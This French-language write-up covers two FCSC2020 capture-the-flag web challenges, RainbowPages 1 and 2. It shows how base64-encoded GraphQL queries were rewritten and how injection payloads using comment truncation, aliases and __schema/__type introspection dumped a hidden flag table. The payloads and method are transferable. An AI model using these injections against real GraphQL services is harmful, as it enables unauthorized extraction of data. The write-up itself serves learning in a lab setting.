FCSC2020 - RainbowPages 1 & 2

Dans la continuité des articles sur la FCSC (France Cybersecurity Challenge), je vais vous présenter ici deux challenges web très originaux : Rainbow page 1 et sa version plus complexe Rainbow page 2.

Rainbow Pages

Énoncé

Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !

URL : http://challenges2.france-cybersecurity-challenge.fr:5006/

Write-up

Lorsqu’on accède au site web, on voit qu’il y a un formulaire pour faire une recherche.

Lorsqu’on ne mets rien, on a une alerte qu’il faut au moins un caractère valide.

On mets alors juste le caractères a. On regarde si une requête est effectuée grâce aux outils de développement intégrés aux navigateurs.

On voit qu’il y a une requête GET à destination de : http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=

On peut remarquer la chaîne de caractère dans search qui ressemble à de la base64.

En inspectant l'événement lors du clique du bouton, on voit qu’on fait appel à la fonction JavaScript makesearch :

function makeSearch(searchInput) {
			if(searchInput.length == 0) {
				alert("You must provide at least one character!");
				return false;
			}

			var searchValue = btoa('{ allCooks (filter: { firstname: {like: \"%'+searchInput+'%\"}}) { nodes { firstname, lastname, speciality, price }}}');
			var bodyForm = new FormData();
			bodyForm.append("search", searchValue);

			fetch("index.php?search="+searchValue, {
				method: "GET"
			}).then(function(response) {
				response.json().then(function(data) {
					data = eval(data);
					data = data['data']['allCooks']['nodes'];
					$(\"#results thead\").show()
					var table = $("#results tbody");
					table.html("")
					$("#empty").hide();
					data.forEach(function(item, index, array){
						table.append("<tr class='table-dark'><td>\"+item['firstname']+\" \"+ item['lastname']+\"</td><td>\"+item['speciality']+\"</td><td>\"+(item['price']/100)+\"</td></tr>");
					});
					$("#count").html(data.length)
					$("#count").show()
				});
			});
		}

Le plus important est la fonction btoa qui est en fait un base64encode.

Maintenant, on peut créer nous même les requêtes.

On rajoute un guillemet dans l’entrée utilisateur afin d’avoir %a%', mais malheureusement, c’est pas si simple. La réponse est juste vide :

{'data': {'allCooks': {'nodes': []}}}

On va déjà essayé de changer allCooks par allUsers, et on obtient une erreur très intéressante !

{'errors': [{'message': 'Cannot query field "allUsers" on type "Query". Did you mean "allCooks" or "allFlags"?', 'locations': [{'line': 1, 'column': 3}]}]}

Maintenant qu’on a vu allFlags, on va donc demander cela:

{'errors': [{'message': 'Field "firstname" is not defined by type FlagFilter.', 'locations': [{'line': 1, 'column': 23}]}, {'message': 'Cannot query field "firstname" on type "Flag".', 'locations': [{'line': 1, 'column': 60}]}, {'message': 'Cannot query field "lastname" on type "Flag".', 'locations': [{'line': 1, 'column': 71}]}, {'message': 'Cannot query field "speciality" on type "Flag".', 'locations': [{'line': 1, 'column': 81}]}, {'message': 'Cannot query field "price" on type "Flag".', 'locations': [{'line': 1, 'column': 93}]}]}

Le message précédent signifie que les colonnes demandées n’existent pas pour l’objet flag. On essaye alors de juste demandé flag au lieu de toute la liste, la réponse finale va nous donner notre flag.

{'data': {'allFlags': {'nodes': [{'flag': 'FCSC{*********************************************************}'}]}}}

RainbowPages v2

Énoncé

La première version de notre plateforme de recherche de cuisiniers présentait quelques problèmes de sécurité. Heureusement, notre développeur ne compte pas ses heures et a corrigé l’application en nous affirmant que plus rien n'était désormais exploitable. Il en a également profiter pour améliorer la recherche des chefs.

Pouvez-vous encore trouver un problème de sécurité ?

Write-up

Bon, ce challenge déjà est un fossé par rapport au précédent. Le précédent je l’ai résolu sans avoir à chercher la technologie derrière. Celui ci, il est obligatoire de déterminer qu’il s’agit de graphql.

Maintenant que c’est dit, on suppose que la logique n’a pas trop changé, mais que le développeur a déplacé le contenu de la requête côté serveur.

Une requête dans graphql ressemble grossièrement à ceci:

query data {
    user{
        firstname,
        lastname
    }
}

Si le développeur a déplacé la logique, alors il y a ceci du côté du serveur

// Auparavant
$req = "query { ".base64_decode($_GET['search'])."}";

// Maintenant (hypothèse)
$input = base64_decode($_GET['search']);
$req = "query { allCooks (filter : {firstname: {like: "%$input%"}}) { nodes { firstname, lastname, speciality, price }}}";

Bon toute le début du challenge est de trouvée un entrée, qui correspond à une injection valide. Sachant que le caractère # est le commentaire en graphql, on peut l’utiliser pour filtrer des informations après notre injection. C’est la partie la plus longue, mais la plus importante.

En se guidant des erreurs, on peut déterminer que la charge utile suivante, est une injection valide pour notre requête :

payload = '_"} } ] }) {nodes {firstname}}}#'

Si on met une entrée n’importe laquelle avant le ], on a une erreur intéressante : Expected type CookFilter!, found test.. Cela signifie, qu’il y a une liste de CookFilter.

Mais soit, on va maintenant essayer d’ajouter une autre requête, avant le dernier }.

payload = '_"} } ] }) {nodes {firstname}}, {REQUEST2}}#'

N’ayant pas d’idée d’autres requêtes, on essaye allFlags et allCooks. allFlags n’est pas définie, tandis que allCooks nous signale qu’on a un soucis avec deux requêtes allCooks et qu’il faut faire un alias.

Avec une petite recherche sur internet on découvre comment on crée un alias :

payload = '_"} } ] }) {nodes {firstname}}, payload: allCooks{nodes{firstname}}}#'

On a donc ainsi deux sections dans notre champs data: allCooks et payload.

Maintenant le plus important est d’exfiltrer des informations. Comme on le ferait lors d’une injection SQL sur une base de donnée relationnelle, on veut déterminer les informations.

J’ai commencé par essayer de trouver tous les champs du type Cook. Après une petite recherche sur internet toujours, on découvre que la syntaxe * est supportée par graphql mais pas dans notre cas. Mais on peut utiliser des variables particulières pour le faire :

note: Des participants se sont inspirés des charges utiles issues de PayloadAllTheThings

payload = '_"} } ] }) {nodes {firstname}}, payload: __type(name: "Cook"){fields{ name, description}}}#'


"payload": {
   "nodes": [
    {
     "id": 1,
     "firstname": "Thibault",
     "lastname": "Royer",
     "price": 12421,
     "speciality": "Raji Cuisine",
     "__typename": "Cook"
    }
   ]
  }

Bon, on a pas de flag, alors on continue sur le type en lui même :

payload = '_"} } ] }) {nodes {firstname}}, payload: __type(name: "Cook"){fields{ name, description}}}#'


"payload": {
   "fields": [
    {
     "name": "nodeId",
     "description": "A globally unique identifier. Can be used in various places throughout the system to identify this single value."
    },
    {
     "name": "id",
     "description": null
    },
    {
     "name": "firstname",
     "description": null
    },
    {
     "name": "lastname",
     "description": null
    },
    {
     "name": "speciality",
     "description": null
    },
    {
     "name": "price",
     "description": null
    }
   ]
  }

Toujours pas de flag dans les champs du type Cook. Peut être qu’il y a une façon de dump toutes les informations ? On recherche et on tombe sur un mot clef intéressant __schema. On adapte alors notre requête :)

payload = '_"} } ] }) {nodes {firstname}}, payload: __schema { types{ name, fields { name, description }}}}#'

[...]

  "name": "FlagNotTheSameTableName",
     "fields": [
      {
       "name": "nodeId",
       "description": "A globally unique identifier. Can be used in various places throughout the system to identify this single value."
      },
      {
       "name": "id",
       "description": null
      },
      {
       "name": "flagNotTheSameFieldName",
       "description": null
      }
     ]
[...]

On a donc pu trouver les relations allFlagNotTheSameTableName donc on fait notre requête sur cette table parce qu’il n’y a qu’elle qui doit contenir le fameux flag.

On demande donc notre flag à l’aide d’une dernière requête :

payload = '_"} } ] }) {nodes {firstname}}, payload:allFlagNotTheSameTableNames { nodes {flagNotTheSameFieldName}}}#'

Et celle-ci nous donna notre flag :).

Conclusion

Ces challenges étaient intéressant parce que c'était bien la première fois que je faisais une injection dans du graphql. J’ai donc pu découvrir comment ça marche tout en faisant ce challenge. Je remercie donc les créateurs de ce challenge pour cela :) !